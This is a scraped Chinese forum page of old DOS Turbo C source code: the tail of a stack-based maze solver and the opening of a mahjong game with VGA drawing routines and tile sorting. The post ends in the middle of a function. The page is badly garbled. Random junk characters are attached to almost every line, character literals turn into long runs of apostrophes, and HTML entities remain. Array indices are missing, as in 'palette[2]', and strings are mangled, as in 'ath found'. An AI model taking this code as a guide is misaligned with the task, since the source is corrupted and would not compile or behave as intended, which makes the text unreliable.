# A/ {8 w: r3 h. h; svoid MarkPrint(PosType seat)
/ X. |5 w( [$ ?6 p1 d. n/* Mark the position seat. */
0 _7 G/ c- o& R  N- B$ J{
9 @8 B0 h) h4 P: |0 f$ Lmaze[seat.x][seat.y].mark=-1;5 @' T5 W  @7 m. X4 F/ {* r! K
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */! t8 n8 C2 ]! R$ h- N0 x+ y
} /* MarkPrint */
! D9 D( a' l* k  c2 Tvoid FootPrint(PosType curpos)3 z' M- Q* c, J( j9 z7 M( L1 Q
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
; J: o7 |& v& V  t9 y: C{
. _- U& E9 ~( K' L6 t1 |( O( [# D$ Y5 bmaze[curpos.x][curpos.y].foot=1;
6 y/ s! l+ [* h. k/ A} /* FootPrint */$ o+ c* `7 q5 j; O5 x
PosType NextPos(PosType seat,int di)- k: @' z  \$ h6 v' K, X8 ]: g
{
8 U$ T$ A2 r* E  Y. X' `switch(di)
; n) B8 I, ~3 t1 `9 k& `& }{
. N; A, n# O8 e& ecase 1: seat.y++; return seat; /* Eastward */
/ U. }9 T4 R4 y5 w  [case 2: seat.x++; return seat; /* Southward */. B6 `/ r/ o( u$ l. J
case 3: seat.y--; return seat; /* Westward */
  Z1 Y! {, D$ v! \case 4: seat.x--; return seat; /* Northward */2 p! k, B1 p# h
default: seat.x=0; seat.y=0; return seat;( Y# r) m) C4 `$ A8 H8 {+ Y1 R
}( d9 Y# Z0 \2 q; t# y% P( r( |
} /* NextPos */
8 n4 t7 I4 A, j6 t* y) w
, t' c  z  g+ a8 F& ?8 x, W/* The key to the program. */
9 ^" H$ P; x( O& i/* Pre: The maze array &amp; the startplace &amp; the endplace.
8 U$ [$ A- f& e& Y1 K4 g; ePost: Find the one traverse of the maze and perform the mazepath.1 Q( y8 N: H+ J3 Q2 H) r
Uses: The ADT stack class.
3 S! j1 M7 D# Y  S*/
  {3 M  ]0 w4 w& ]0 a( J" `Status MazePath(PosType start,PosType end)
: X2 U7 }& k; J1 K! D{4 i( _0 j0 O* R! p# s; D( ^' Y
PosType curpos;$ M# E+ W: I/ ]# j
int curstep;
  Z7 t) Y1 U' z" FSElemType e;" M& i5 i) l& k( ~/ ], R
Stack *s,stack;
0 B! y8 Y# H' ]1 z$ S  V$ |4 U; Hstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));% O1 H8 a* R* [3 l/ R: m
if(!stack.base) Error("Overflow");
7 m9 z, X) T3 J/ o0 [stack.top=stack.base;# L% w, p: O$ i& ^- N) _! Z; G
stack.stacksize=STACK_INIT_SIZE;5 P' B2 |6 S* I: X: R. s2 e. r
s=&amp;stack;# Q7 ]! H8 R) d! N% {7 _; W
curpos=start;- V1 F% g1 x9 l2 B# C: Q0 n4 T* s
curstep=1;
* I3 @9 o. P) u9 }; n+ Edo
2 ~, v  _0 k7 w0 `) r( e' k{5 l* ~" H# h6 ?# t+ x
if(Pass(curpos))# [3 f5 l/ W. P1 |
{  u/ i# A  e; S7 q( J+ R( ~
FootPrint(curpos);
6 J0 E9 J5 ^' p% R* \e.ord=curstep; e.seat=curpos; e.di=1;6 v7 J/ q) `: T+ z; G2 F4 }, j
gotoxy((curpos.y+1)*2,curpos.x+2);
, u% T3 h; Q1 V: y2 Aputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');% j; m& \& B4 B/ s+ i5 S6 M/ m: E
delay(8000); /* pospone time. */
; s* W% j, @" r$ \( t$ nPush(s,e);, z8 \4 u' h$ u
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */  ^5 a7 }8 c7 [0 s5 E2 m7 G0 e+ a
{# I  x( Z9 A; V7 t- W
DestroyStack(s);
9 M) y/ M* F" O/ T" R2 Nreturn TRUE;0 D  v4 e3 H9 X, e  l# Q
}
' l* u. |$ D# ^: o( `# R. Ncurpos=NextPos(curpos,1); /* Try next position. */
  r* v' R* C# M4 m' E9 h0 k& M/ h3 \curstep++;0 R# w7 m9 }  K% N6 r
}
, |# B7 o0 M; Q% X9 uelse
- s% L8 X% a& u# N. A* \+ e{
( h" E2 e/ ^. q+ oif(!StackEmpty(s)): C8 r# x1 `& Q9 Y6 v' a& Z: j4 C
{
! g  V! ]5 Q0 O% {9 S) me=Pop(s,e); /* Removed e from s. */3 r" x. c3 p4 C& v  r
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
( R5 m6 `# H1 b) g9 F! x0 Mand s is not empty. */# `/ q' B- D6 k8 S9 }
{% i* X/ B, z5 j7 s! r5 U
MarkPrint(e.seat);
- f$ Z, I" {$ B6 h- \2 n2 M6 w9 tgotoxy((e.seat.y+1)*2,e.seat.x+2);
( V1 ^. I& a( vputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
3 x3 @' e/ o6 Z3 Y* bdelay(8000); /* Pospone time. */9 V* g- y$ [2 D% h
gotoxy((e.seat.y+1)*2,e.seat.x+2);# _+ {3 ~$ B9 Z& X5 @
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');# F7 K8 ~0 o% c9 @1 U! ^
e=Pop(s,e); /* Remove e from s. */0 Z1 Y, A7 W$ w' H+ ?$ e5 U
curstep--;' U+ B4 h' m- S- R* ]# S, T. @. d
}
5 o6 ?7 ~$ z7 w6 s' j7 R# b' E% Rif(e.di&lt;4) /* The current position hasnot been checked. */
0 v! {0 n# R" f3 U+ E1 N- @{+ H( p5 o, n6 F7 X5 K. h
e.di++;- y3 K6 f" j4 y8 v" j* V
Push(s,e); /* Insert e into s. */
+ i* l' X3 J1 X& V) Z8 X% ucurpos=NextPos(e.seat,e.di); /* Try next position. */
+ h7 ]# b* K9 h# c* \$ Z: t, R}9 |! i7 X# U+ s0 o- V* k2 p. Y
}
2 S8 w3 e( J' a6 O' T}
1 [! o: K6 c- j, R2 H}! C& o8 a& j1 U- r
while(!StackEmpty(s));' b  n' c+ A2 g5 o8 X
DestroyStack(s);& x- l+ x" o, T5 I
return FALSE;* t: z5 a* X: U) c0 m  }
} /* MazePath */
. H; e$ W) Z* U: l+ y1 Fvoid main()# E3 w2 R+ Z/ o  i$ \
{
9 a4 ~2 m3 S" r7 B/ V4 t/ MPosType start,end;
7 |5 Z. C/ b3 z. YCreatMaze();' T( S- z0 v2 A( N, f
start.x=StartPlace.y;) b6 X3 p2 D5 O& _" N7 [% l! `( T1 l
start.y=StartPlace.x;
& C3 e% M; R) Qend.x=EndPlace.y;
7 r$ z( F* O/ J7 W0 Rend.y=EndPlace.x;
' M3 v0 o- h  h. ~* a5 I# Oif(MazePath(start,end))
" }9 A+ c9 r- R  [{
0 r3 a! P: p5 z8 w  L/ j6 {* ~gotoxy(2,22);+ y/ H# \1 t& L6 {2 R: y+ M+ n
printf("ath found\n");
( c# [5 J4 j9 U3 U/ R}  V% Z% @; W& T$ ]
else
9 P" A! ?3 }( o0 x5 S+ e{
1 T% S. q" ^1 N7 m  B  m8 V7 l1 x( ]gotoxy(2,22);
8 ]" ?8 D4 ^# f* f* C6 t4 Zprintf("ath not found\n");9 Q, e. s. `2 ^6 X: g& o" {' ~2 x. g
}# A+ q( B: c% m/ q% X+ P
getch();0 R) O  ?9 ^  \3 x& i' H
clrscr();
( i( C% n1 O. q1 I, }4 M# `) o} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
) z- ]& l  x) |: k+ r- a/*天宇软件( k! ?' X2 F) ^* q
作者:上海黑暗之龙" W% O* {) V& d! I8 N& [) G' [+ ^4 [
2002/10/30+ E4 C' ]( }5 X4 s
麻将原代码*/8 Z2 w  i6 ^6 |% ~% v8 Y
#include "dos.h"
- A2 d- f0 }; p8 {#include "stdio.h"
- r# z1 _" E  D( `, B1 B, {7 S/ |#include "graphics.h"
. l* d6 Z. I% k1 c& }9 j#include "bios.h"3 P& |6 O$ g% x
#include "conio.h"
# @! S9 M; @' S3 ]#include "stdlib.h"' f: B$ I& I6 t5 Q$ j& @5 T7 e
unsigned char far *video_buffer=(char far *)0xA0000000L;0 A0 t) j4 E& V
#define VGA256 0x13 /*图形模式13h*/: y& O, S' u3 I7 S: U  f
#define TEXT_MODE 0x03 /*普通文本模式*/: d/ l/ u' [# ]4 `5 k/ e
#define SETVGA Set_Video_Mode(VGA256)
# F7 K& l' L; p8 h& M1 j" O#define OUTVGA Set_Video_Mode(TEXT_MODE)6 h3 W4 P9 S4 e. \1 \
#define BYTE unsigned char  b' u" }% m, N: [
#define WORD unsigned int
4 a0 }9 @. d3 n# Y1 a! A' `#define DWORD unsigned int) T' C! x7 G' x- P; O7 ^0 H, G
#define ESC 283
! K* ?, \  B1 J, n# G* \#define LEFT 19200
* x8 N# a% R6 J* _, ^8 A+ D1 C2 I& g#define RIGHT 19712) x7 G  S- \; V$ |; y4 @
#define H 9064
( V" U; @4 d+ F$ q- s0 z$ U#define ENTER 7181; r- a- A8 o. V) I/ j3 H6 e! L
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;+ g, m: V( C3 d' ^+ |+ e$ X
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;) U* u' Z+ J6 h- x3 _( v7 q
struct chi
- C; g8 i: `. G' L, Y- |{
8 S( c0 H8 j- O+ D/ l1 |# x- Xint lg;
: g# `$ d: `6 b  vint lgg;
" q6 ^% ?; ^& `' }7 w  S2 f' J}ch[13];4 D' [% y8 V% ?$ S: [& Q$ Q# z2 d
struct mj
: j0 z9 U9 M) H7 e  S8 ~& x{ char *name; /*名字*/
& W- q$ R5 u9 p* Aint data1; /*是否已出,无用了*/
- Q& i3 t! w3 E% K; X6 z3 y$ @/ Xint data2; /*是否在手中,1为自己,2为对方*/
4 B8 ~) j$ ^+ i8 |: L+ ]int number; /*同一个花色的第几张,共4张*/* Q  g* j* l, I+ E
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
4 o- B/ M3 |0 J$ B: w"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,/ ^7 _( u4 P' W
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,8 V/ }7 _6 A4 d- q
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
* G5 Y  [2 R7 K$ T* a2 l4 }" A"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,% j7 x' h+ H' D) X" u/ H: ^. e
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,( J1 \  I% h9 K' e+ H" @& Y* ~6 n2 r
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,; u/ s, i" W1 l; S
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,8 a* W9 X0 G8 g( ~
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
8 b6 J* U% S" t, G2 j"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,  `% b; d* o1 D9 }
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
7 A/ L$ U% ~5 Q9 ?; I) W* a0 D"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
1 ]5 e+ k) M/ d" O0 P% I"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,4 g4 K0 R. n+ [, I  c
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
6 J( H6 L! j+ E3 J"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,) @, f" s  s- i3 Y3 F  w
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
! K1 E6 l2 ~; W7 N"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,3 V, Y7 g) W. J- M9 l& k' d! U
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
$ E+ b0 j, i  O9 I"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
3 Y3 {; |% I3 g% ["24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,* J/ t$ ~' j) Z/ w; A
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
; s, e* d- k+ \# j: ~% R"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,% G+ u( Z* v* ~1 x/ m% E; t8 _
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
1 G" L6 q1 l' \"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
# Y1 m5 P% f2 q) a% P& V"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
3 t3 {- Y$ h7 C) e% A5 O"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
/ O# q8 \$ V6 T"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,/ C: x  p$ a+ D( a  S; u" t
"34.bmp"};
+ x) N2 \* B$ M% x1 K" Qstruct every4 V# J7 ?0 B' U
{ int *k; /*名字*/
7 {, S& C3 H8 ~int oneorfour; /*同一张牌的第几张*/
" w; y- |' X5 ^8 i2 e" Aint number; /*第几张牌136*/
9 [) A& K' z. p' J. K1 O1 xint p;
$ b( P& {, c1 X) B4 B4 K4 z' cint g;0 `. Y5 w+ w9 L! n7 G5 O: i
int c;5 b' J$ h  o8 n4 G5 }+ L
int d[2];
$ w. p* z3 O& T: F7 ]};$ [; G. A4 l6 o  m
struct me) d  g) ^- J, \
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
& _) n/ M. k! y; v# T& k# N7 jint p; /*乓对方*/
; l% f8 j4 k! s' n( Gint c; /*吃对方*/
- J& G/ z+ Z" N5 ~2 Xint g; /*杠*/8 m6 X3 G2 ?5 H4 x  j7 d, C4 m

) Z8 j* h, t* V5 \+ R/ bstruct every pp[14]; /*存放手上的牌*/3 Z& x3 \1 _8 W9 `
}me;
& o9 t0 D3 ~( O# l( y1 D; t& Istruct computer
8 s- ?0 ?2 ~+ X# I6 T! _( @{ int m;
: R, X$ K& G8 S- i, k( h. i% ?int p;0 d& y1 q5 L, P7 c
int c;
0 V( U) @/ F; @. N/ eint g;
9 x* V3 R+ Y& |2 R: p: Tstruct every pp[14];% s% r$ Q9 }0 K& ~& i% O/ O
}computer,comp;( z9 U5 G& q) z# G
  J' W6 H. a$ u5 |! [5 J
/* 设置调色板 */1 \/ W+ k0 p$ t9 v
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
9 s1 t6 W( d* h; F3 C+ X{1 q6 J* e) T0 l) n  D
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/$ M% z$ a: {5 p& V, A+ f$ [
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/0 ?8 V% ^2 k0 C' x$ d
outportb(0x3c9,g);7 s1 }6 z' E" m2 u  P4 Q
outportb(0x3c9,b);
2 N2 v; L, M3 [5 V& b( F4 {}1 E% f7 A, u: X) b( d
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
0 \3 O" \3 T! p% K/ P7 ~/* 设置显示模式的函数 */
- [1 n2 m4 v4 F+ e# g  Kvoid Set_Video_Mode(int mode)
/ {  a2 p$ W2 P$ a+ `& R' Z{8 d3 P* T; W' J2 Z9 k- `
union REGS inregs,outregs; /*定义输入和返回寄存器*/  o  U6 Z' y4 `; d% ^
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/% A  N3 O$ E% r
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/" t( j+ C  Z) L7 t6 p
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
  X2 M8 ]" t; Q- T: t* r' h}
0 C& `5 |/ c3 }& n8 c* r2 evoid v_line(int y0,int y1,int x,unsigned int color)
0 [3 Y$ e9 e* k" n* m. K+ t{ unsigned int address,n,temp;
  h) G5 @* w+ A2 G" x4 {. J6 Sif(y0&gt;y1)
$ ~+ ^' i7 W6 k" j* f  u4 W" i1 A{+ d4 ?% z  `1 n( e( M) b
temp=y1;7 R  c; t* F- b& D$ _
y1=y0;' }8 F9 Y  q4 a! E: {5 Y
y0=temp;
$ V! C4 E+ w; e) x. _) g}
' D) v1 P4 M/ ^4 ^$ e/ u: Haddress=320*y0+x;: h; J4 \7 K8 C0 r
for(n=0;n&lt;=y1-y0;n++)3 G# P7 W5 C% g1 E
{
3 S, {3 }, c$ Svideo_buffer[address]=color;
: M4 x3 k; O" i! }; m8 Taddress+=320;* b/ h0 ^3 a, h/ V5 P' x
}
4 c. ~) k* e. y8 f}' b9 i0 }) ~7 X/ B0 t9 M: s
void h_line(int x0,int x1,int y,unsigned int color)
1 X8 t/ o. f5 C+ K& n, }{ unsigned int address,n,temp;6 b1 k2 u2 X% C" Y
if(x0&gt;x1)
. Q1 l" J% d% t2 J5 u- `. x{; P6 ]9 ~4 J% ]. f; c5 K0 T6 n
temp=x1;2 ^# j4 M: l; b. B  `- l$ o
x1=x0;; q/ x7 h# P6 I, I& o
x0=temp;# B/ e! M; z6 _; d7 h& r
}
7 F. H& o# i( W6 R0 ]$ Eaddress=320*y+x0;
0 R" m3 Y5 ^+ Efor(n=0;n&lt;=x1-x0;n++)+ _/ U) m5 X* x6 e- ~
{. i. b! \, e1 d/ E, Y
video_buffer[address]=color;
1 |; j- z% c* n3 I- uaddress+=1;. [6 ~" |8 R1 q" O4 B( ^
}9 s# m: P3 @6 D- Z! Q' L: s
}1 [' y. `7 }3 A% }3 e- Y
void p_pixel(int x,int y,unsigned int color)* F5 u( o) R& t8 i) B1 V3 b
{ video_buffer[y*320+x]=color;. X2 ~6 M$ Z; ^! h; b
}1 ?- Q  o( x& k( Y( A
void s_square(int x,int y,int side,int color)+ |  S7 a' v- ]& t% t+ a7 _2 M
{
( n) a0 D  s& l; i2 o+ wh_line(x,x+side,y,color);
$ m. U5 p& Y. N. }  Rh_line(x,x+side,y+side,color);* `) R) Y! \8 G" M+ u$ l* X" m
v_line(y,y+side,x,color);3 W' p! r+ j6 G* W& p% f/ M! Y6 [
v_line(y,y+side,x+side,color);
; I1 t) c- ?/ @  {. V7 f4 n! q4 x}
1 e: S% V# \" I7 d( k1 uvoid r_rectangle(int x1,int y1,int x2,int y2,int color)7 \1 C. }1 D& {9 S
{
6 ~. o# p1 e  b/ Rh_line(x1,x2,y1,color);5 e" a/ N& g% B/ V/ ]4 H1 e
h_line(x1,x2,y2,color);% A3 D+ W* D! _
v_line(y1,y2,x1,color);
+ `! G3 L' n" n, t, j3 G$ Ov_line(y1,y2,x2,color);9 l6 D! d( G. A1 a$ h9 o; y) r/ i$ P
}. R- W6 o. z7 ?, @+ |. L# i! I
void fillRectangle(int x1,int y1,int x2,int y2,int color)3 I! Q0 i3 b( y/ s, c" Z
{
: k  S. M4 q8 oint i;
/ f3 X" x: d. H5 w' ^for(i=y1;i&lt;=y2;i++)
6 f- }: A& W* O+ Y- }, z{; k, S# B6 j- p9 B3 H: _5 F5 \
h_line(x1,x2,i,color);( [1 Z9 ^( C* O- M) n9 ^
}
6 P: J4 [9 w) O* {}; I+ Q3 o; N, r& q7 ?
void showbmp(int l)' b/ T6 p% L4 W, b# o' I+ E
{ FILE *bmp;
& U  |6 v1 B+ s! [: {$ L! G: ~int i,x,y;
8 D) _5 A/ y/ JBYTE palette[256][3];2 _" |2 b# V% J. i  e
bmp=fopen(me.pp[l].k,"rb");
# E4 K( m; h- ]% Nfseek(bmp,54,SEEK_SET);
+ G: B" g- b6 D7 h+ K0 Cfor(i=0;i&lt;256;i++)0 S% y3 K  f  B! U6 m
{0 n( V; n6 h5 d0 k  t5 C
palette[2]=fgetc(bmp)&gt;&gt;2;4 ~$ |8 p; R7 v; Y, j4 Y  ?
palette[1]=fgetc(bmp)&gt;&gt;2;
% U% a4 X: @. _; kpalette[0]=fgetc(bmp)&gt;&gt;2;9 G; o7 E6 s8 G7 ?  ]! X$ d
fgetc(bmp);: b% q/ D/ V& d6 I8 h) g$ S2 f" O2 p) y
Set_Palette(i,palette[0],palette[1],palette[2]);
3 K, V/ F5 o" B; X}
$ D5 P7 R  L  b+ E6 p$ d% O' }for (y=0;y&lt;30;y++)6 Y0 J3 r7 U# J* C  C% B4 ?# z
for(x=0;x&lt;20;x++)
+ ]- H7 p9 K, t# h1 t1 c- Ppokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
$ V5 t1 {3 k/ T) }/ jfclose(bmp);
0 }1 V6 V4 g3 n, Q}: G8 l/ y5 D: o
void showbmpd(int l)3 r$ [9 y9 R' V
{ FILE *bmp;
  T7 X4 P$ T. Z$ J& r; p* c5 Aint i,x,y;6 U6 [& O/ U& N. h4 _, c" S2 T
BYTE palette[256][3];
) Y% m! {6 _( t4 @. abmp=fopen(me.pp[l].k,"rb");
" r/ ?& {$ K5 Q, N. J. w% Z2 I& \fseek(bmp,54,SEEK_SET);& |: u. t# Y7 D4 O  C
for(i=0;i&lt;256;i++)+ k9 Q3 s2 }7 G) v: }- N
{
( M8 R8 Y: u9 p  l; ?palette[2]=fgetc(bmp)&gt;&gt;2;1 @* @9 b( d: C0 j0 ^% b' \
palette[1]=fgetc(bmp)&gt;&gt;2;! J6 \& p$ G+ v  o7 v
palette[0]=fgetc(bmp)&gt;&gt;2;
7 E2 a! r0 z* B, r% B+ p! B' c; Afgetc(bmp);2 y" Q6 L2 t2 v7 t1 c
Set_Palette(i,palette[0],palette[1],palette[2]);
1 e$ R; d9 z& p) H) W/ n+ H}* b% D( U: y, a: x
for (y=0;y&lt;30;y++)
! L) a8 C  B+ |7 r3 D& Z, ofor(x=0;x&lt;20;x++)
- {$ C  [2 |* V& F0 {  Vpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
  b. C6 f* y! Kfclose(bmp);
% ~& B0 R  b1 L}6 G+ ?; [% y" \" B! H. U
void showybmp(int ll)) n2 P* K( B5 Q2 ^7 h5 M5 h/ H# I
{ FILE *bmp;' s  e5 p# e$ ]8 Z! J  [  x
int i,x,y;) J; h/ o# D5 V+ t) w8 |
BYTE palette[256][3];6 U" u2 w9 Y3 A) h. `+ _0 c6 ?
bmp=fopen(computer.pp[ll].k,"rb");8 L- e4 @0 A4 l  Y% G1 c# h# i& P
fseek(bmp,54,SEEK_SET);
3 j. Q+ z9 N6 t* c1 |* ufor(i=0;i&lt;256;i++)
; @9 L! t1 j/ J) q+ X* ~{  l# v# G. b: w# w* j/ U  Y
palette[2]=fgetc(bmp)&gt;&gt;2;2 Z* y3 x5 e$ k1 }9 w$ ~* q
palette[1]=fgetc(bmp)&gt;&gt;2;
' X5 i8 f7 W* p+ \2 {palette[0]=fgetc(bmp)&gt;&gt;2;$ y) }$ s, }/ `" g; i" v
fgetc(bmp);
9 ]. \" M# U9 V& P1 ZSet_Palette(i,palette[0],palette[1],palette[2]);
! h& W# p$ s6 Q7 p/ G3 e& O3 J}0 R# v; I! L5 ?
for (y=0;y&lt;30;y++)
2 [2 R' o" @* ?for(x=0;x&lt;20;x++)
' ?- v0 x  N3 g! F' v6 [2 r8 |. upokeb(0xa000,y*320+x+zy,fgetc(bmp));
, p7 t0 {; _7 z  T* e% r( N" rfclose(bmp);
; B5 K7 e3 G2 Q4 W}8 g2 [% @2 v& i( p% l' P
void showcbmp(int ll); q# K- [0 i( `# C/ L/ R3 }* K/ A
{ FILE *bmp;, \. \/ l+ k4 D- |
int i,x,y;9 @, |4 F! F( c" c
BYTE palette[256][3];* }( K* m' f  r+ g( V2 I
bmp=fopen(computer.pp[ll].k,"rb");8 i4 x) C6 Y" Y0 l& f; N; c
fseek(bmp,54,SEEK_SET);
, F, }1 t1 R+ d' \  y4 Bfor(i=0;i&lt;256;i++)
. {: O+ J) C' o* e. d{
) l  t( [7 h3 Ypalette[2]=fgetc(bmp)&gt;&gt;2;5 y0 J1 y! E$ U0 y
palette[1]=fgetc(bmp)&gt;&gt;2;; X( V* `+ ~" x
palette[0]=fgetc(bmp)&gt;&gt;2;; R1 \( y1 L* M, l! V! @& Z/ @- X: k
fgetc(bmp);
+ b& H) j& L2 ]Set_Palette(i,palette[0],palette[1],palette[2]);
/ j# z8 h6 n6 Y8 Y4 V* A8 ^, V  g}
. d4 k$ B, l4 ?1 Q( Lfor (y=0;y&lt;30;y++)% n3 ~$ }' f! {/ T* U/ N
for(x=0;x&lt;20;x++)  ?' a/ l& m1 A, F; Z. Y% z# Q
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
9 s0 @3 ?& |: a" Tfclose(bmp);3 s$ [6 I' B9 s- i/ H
}0 m# l- x8 k7 Y2 _
void bmpp(int number)4 l0 P. ]' D+ K: p
{ FILE *bmp;
! U' _$ p3 v# m% }9 Q. eint i,x,y;
2 O# R- n* W9 j' x; ?3 X; oBYTE palette[256][3];
: p9 x4 C  W# z) G" }$ ^9 y; s. r! ubmp=fopen(m[number].name,"rb");7 m  F/ Z  B0 h/ @+ W
fseek(bmp,54,SEEK_SET);6 H; l8 }8 a: l2 O8 u7 a5 T/ x
for(i=0;i&lt;256;i++)4 C  K) v; |  Q  x% C
{5 X& n; Z; V- P1 Q! O  D% b
palette[2]=fgetc(bmp)&gt;&gt;2;" ]6 G- H2 m7 I4 p8 P
palette[1]=fgetc(bmp)&gt;&gt;2;4 f' ]! T  A. v1 z
palette[0]=fgetc(bmp)&gt;&gt;2;
! d! P2 T" W% C6 Y4 c; Lfgetc(bmp);
2 G4 q7 ?, P1 b  `Set_Palette(i,palette[0],palette[1],palette[2]);+ F3 T- y+ l; P+ H) e! j$ _) {
}. i- C% R2 r; Q  q( ^6 I* d
for (y=0;y&lt;30;y++)5 @! `6 |) o! `; U
for(x=0;x&lt;20;x++)
! s1 x1 l. N3 gpokeb(0xa000,y*320+x+zl,fgetc(bmp));) G: i7 s. V) M4 U% m- ~2 V3 v
fclose(bmp);
# m- B$ h8 E2 ?+ d8 i9 N}) Y7 ~" O. v- ^# e8 w+ i
void comlipai() /*整理电脑的牌*/
' I! u; K0 `  F. p9 T1 J( ?$ H{ int n,j,u;
$ E. B7 S9 t1 _1 R0 Qint *lingshi;
5 z, z: [3 o$ W' X( d% dfor(n=0;n&lt;computer.m;n++)
1 L0 y( o, \2 V2 a  f; Cfor(j=n;j&lt;computer.m;j++)$ y+ f6 r! S# Q- U, |
{
* [7 o9 I* B7 f) Z1 `5 J/ b: n- Rif(computer.pp[n].number&gt;computer.pp[j+1].number)
" r! f2 _0 R$ A- _# \' R" w- T3 C% y% \{$ J& N9 w7 F% W3 _- T) U
lingshi=computer.pp[n].k;! F0 D; B4 z* E1 f  R4 k
computer.pp[n].k=computer.pp[j+1].k;
/ D3 C( c9 A3 e8 c- D' E; Fcomputer.pp[j+1].k=lingshi;
" r8 L5 d! I6 c% u# i% X+ x6 nu=computer.pp[n].oneorfour;% D9 q+ p$ d, a6 V, f; `
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
5 O$ D" N, _2 |1 K* A  O  dcomputer.pp[j+1].oneorfour=u;
/ d7 A* V  w+ a1 \) Ou=computer.pp[n].number;
; R" O( D0 I+ A1 |- T- F, u6 V' scomputer.pp[n].number=computer.pp[j+1].number;6 C0 M& ^0 P5 E. Q) j' Y4 S/ K
computer.pp[j+1].number=u;* J+ G2 X0 _$ S: I
}7 W* [0 U5 Y; A# c3 M
else
, M+ E. s  v5 _# S5 K' vif(computer.pp[n].number==computer.pp[j+1].number)+ c3 n: o  k( p+ W* e! @9 I
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)9 U' ~$ {, q! o
{% |/ }1 ^- L! U2 Q+ e
lingshi=computer.pp[n].k;
& V- j: L' [, `0 N- y2 p6 Tcomputer.pp[n].k=computer.pp[j+1].k;
